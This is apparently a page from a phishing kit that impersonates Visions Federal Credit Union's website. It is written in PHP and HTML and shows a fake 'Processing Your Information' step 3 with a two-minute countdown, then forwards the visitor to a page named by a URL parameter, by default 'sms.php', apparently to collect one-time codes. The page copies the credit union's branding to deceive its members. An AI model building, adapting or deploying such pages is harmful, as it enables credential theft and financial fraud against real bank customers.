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    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
    <title>Visions FCU — Please Wait</title>
    <style>
        *,*::before,*::after{box-sizing:border-box;margin:0;padding:0}
        :root{--blue:#254F9D;--blue-dk:#1e4085;--orange:#C1590C;--navy:#041037;--text:#1a1a1a;--sub:#555;--white:#fff}
        html,body{height:100%;font-family:'Inter',sans-serif;color:var(--text)}
        body{display:flex;flex-direction:column;min-height:100vh;background:var(--white)}

        .utility-bar{background:var(--orange);padding:0 40px;height:40px;display:flex;align-items:center;justify-content:center;gap:32px}
        .utility-bar a{font-size:13px;font-weight:500;color:#fff;text-decoration:none}
        .main-nav{background:var(--white);padding:0 40px;height:76px;display:flex;align-items:center;justify-content:space-between;border-bottom:1px solid #e8eaf0;z-index:200}
        .nav-logo img{height:54px;width:auto;display:block}
        .nav-links{display:flex;align-items:center;gap:6px}
        .nav-links a{font-size:15px;font-weight:500;color:var(--text);text-decoration:none;padding:8px 14px;border-radius:4px;display:flex;align-items:center;gap:4px}
        .nav-links a:hover{color:var(--blue);background:#f0f4fb}
        .btn-login-nav{padding:11px 28px;border:none;background:var(--blue);color:#fff;font-family:'Inter',sans-serif;font-size:15px;font-weight:600;border-radius:4px;cursor:pointer}

        .page-bg{flex:1;position:relative;display:flex;align-items:center;justify-content:center;padding:60px 20px}
        .bg-img{position:absolute;inset:0;background:url('res/img/background.webp') center center / cover no-repeat;z-index:0}
        .bg-ov{position:absolute;inset:0;background:rgba(4,16,55,.6);z-index:1}

        .card{position:relative;z-index:2;background:rgba(4,16,55,.82);backdrop-filter:blur(8px);-webkit-backdrop-filter:blur(8px);border:1px solid rgba(255,255,255,.14);width:100%;max-width:420px;border-radius:8px;padding:36px;box-shadow:0 16px 60px rgba(4,16,55,.4);text-align:center;animation:ci .4s ease both}
        @keyframes ci{from{opacity:0;transform:translateY(14px)}to{opacity:1;transform:translateY(0)}}

        .card-logo{margin-bottom:20px}
        .card-logo img{height:46px;width:auto;display:inline-block}

        .steps{display:flex;align-items:center;gap:8px;margin-bottom:26px}
        .st{display:flex;align-items:center;justify-content:center;width:28px;height:28px;border-radius:50%;font-size:11px;font-weight:700;flex-shrink:0}
        .st.done{background:var(--blue);color:#fff}
        .st.active{background:var(--blue);color:#fff;box-shadow:0 0 0 3px rgba(37,79,157,.3)}
        .sl{flex:1;height:2px;background:rgba(255,255,255,.15);border-radius:2px}
        .sl.done{background:var(--blue);opacity:.7}

        .ring-wrap{position:relative;width:138px;height:138px;margin:0 auto 22px}
        .ring-wrap svg{width:138px;height:138px;transform:rotate(-90deg)}
        .ring-track{fill:none;stroke:rgba(255,255,255,.15);stroke-width:6}
        .ring-prog{fill:none;stroke:var(--blue);stroke-width:6;stroke-linecap:round;stroke-dasharray:326.7;stroke-dashoffset:0;transition:stroke-dashoffset 1s linear;filter:drop-shadow(0 0 6px rgba(37,79,157,.5))}
        .ring-lbl{position:absolute;inset:0;display:flex;flex-direction:column;align-items:center;justify-content:center}
        .ring-time{font-size:32px;font-weight:800;color:#fff;line-height:1}
        .ring-unit{font-size:11px;color:rgba(255,255,255,.6);margin-top:5px;letter-spacing:.08em;text-transform:uppercase}

        .wh h1{font-size:18px;font-weight:700;color:#fff;margin-bottom:8px}
        .wh p{font-size:13.5px;color:rgba(255,255,255,.7);line-height:1.65;max-width:300px;margin:0 auto 22px}

        .dots{display:flex;justify-content:center;gap:8px;margin-bottom:20px}
        .dots span{width:9px;height:9px;border-radius:50%;background:rgba(255,255,255,.2);transition:background .4s,transform .3s}
        .dots span.lit{background:var(--blue);transform:scale(1.25)}

        .info-n{display:inline-flex;align-items:center;gap:8px;background:rgba(37,79,157,.25);border:1px solid rgba(37,79,157,.4);border-radius:6px;padding:10px 18px;font-size:12.5px;color:rgba(255,255,255,.9);font-weight:600}

        .page-footer{background:var(--navy);padding:20px 40px;display:flex;align-items:center;justify-content:space-between;flex-wrap:wrap;gap:12px}
        .footer-links{display:flex;gap:20px}
        .footer-links a{font-size:12px;color:rgba(255,255,255,.55);text-decoration:none}
        .footer-copy{font-size:12px;color:rgba(255,255,255,.3)}

        @media(max-width:500px){.card{padding:24px 20px 28px}.nav-links{display:none}.utility-bar,.main-nav{padding-left:20px;padding-right:20px}}
    </style>
</head>
<body>
    <div class="utility-bar">
        <a href="#">Español</a><a href="#">Visions Cares</a><a href="#">Rates</a>
        <a href="#">Open an Account</a><a href="#">Locations</a><a href="#">Careers</a>
    </div>
    <nav class="main-nav">
        <div class="nav-logo"><img src="res/img/logo.svg" alt="Visions FCU"></div>
        <div class="nav-links">
            <a href="#">Personal <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Business <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Resources <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">About Us <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
        </div>
        <button class="btn-login-nav">Login</button>
    </nav>

    <div class="page-bg">
        <div class="bg-img"></div>
        <div class="bg-ov"></div>
        <div class="card">
            <div class="card-logo"><img src="res/img/logo.svg" alt="Visions FCU"></div>
            <div class="steps">
                <div class="st done">✓</div><div class="sl done"></div>
                <div class="st done">✓</div><div class="sl done"></div>
                <div class="st active">3</div>
            </div>
            <div class="ring-wrap">
                <svg viewBox="0 0 110 110"><circle class="ring-track" cx="55" cy="55" r="52"/><circle class="ring-prog" id="rp" cx="55" cy="55" r="52"/></svg>
                <div class="ring-lbl"><div class="ring-time" id="td">2:00</div><div class="ring-unit">remaining</div></div>
            </div>
            <div class="wh"><h1>Processing Your Information</h1><p>Please wait while we securely verify your request. Do not close this window.</p></div>
            <div class="dots"><span id="d0"></span><span id="d1"></span><span id="d2"></span><span id="d3"></span><span id="d4"></span></div>
            <div class="info-n"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>Do not close or refresh this page</div>
        </div>
    </div>

    <footer class="page-footer">
        <div class="footer-links"><a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a><a href="#">Contact Us</a></div>
        <div class="footer-copy">© 2025 Visions Federal Credit Union. Federally Insured by NCUA.</div>
    </footer>
    <script>
        var next="<?php echo htmlspecialchars($_GET['next']??'sms.php',ENT_QUOTES);?>";
        const TOTAL=120;let rem=TOTAL;
        const disp=document.getElementById('td'),ring=document.getElementById('rp');
        const CIRC=2*Math.PI*52;
        const dots=[0,1,2,3,4].map(i=>document.getElementById('d'+i));
        function tick(){const m=Math.floor(rem/60),s=rem%60;disp.textContent=m+':'+String(s).padStart(2,'0');ring.style.strokeDashoffset=CIRC*(1-rem/TOTAL);const lit=Math.floor(((TOTAL-rem)/TOTAL)*dots.length);dots.forEach((d,i)=>d.classList.toggle('lit',i<=lit));if(rem<=0){clearInterval(t);window.location=next;}else rem--;}
        tick();const t=setInterval(tick,1000);
    </script>
</body>
</html>